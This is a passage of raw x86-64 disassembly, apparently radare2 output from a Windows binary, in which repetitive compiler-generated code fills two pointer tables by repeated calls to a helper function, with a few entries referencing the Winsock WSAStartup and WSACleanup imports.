mov rax, qword [0x141ef6008]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d998e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2706
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 9
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c75ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xa
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401dce34
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xb
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d3bd4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xc
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401db478
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xd
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d3f2a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xe
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c9838
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xf
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d9812
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 4
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c5f40
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x11
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cebda
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x12
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cebce
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x13
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d64aa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x14
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cd6be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x15
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c617a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x16
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401db1f4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x17
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c982c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x18
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d0736
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x19
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c6500
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c26fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d3bc8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c9d8a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c608a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d9806
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x21
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x22
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x23
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x24
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x25
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x26
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x27
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401cfe70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x28
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x28
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401dd05a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x29
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x29
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d2b2c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x2a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401d46da
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6008]
imul rax, rax, 0x2b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6000]
movabs rdx, 0x1401c76a8
lea rcx, [rbp]
call fcn.1400f2e70
mov qword [0x141ef6020], 0x28
mov qword [0x141ef6028], 2
sub rsp, 0x18
movabs rax, 0x141ef6018
push rax
movabs r9, 0x1401dd670
mov r8, 8
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef6018], rax
mov rax, qword [0x141ef6020]
imul rax, rax, 0
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c3e9a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401dce40
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
add rax, rax
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
add rax, rax
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cfe70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d49a6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 2
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cb46a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cd268
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d9b8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 7
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d2082
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d998e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 9
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2706
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xa
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c75ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xb
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401dce34
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xc
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d3bd4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xd
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401db478
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xe
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d3f2a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xf
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c9838
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 4
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d9812
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x11
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cebda
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x12
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cebce
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x13
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 1
pop rbp
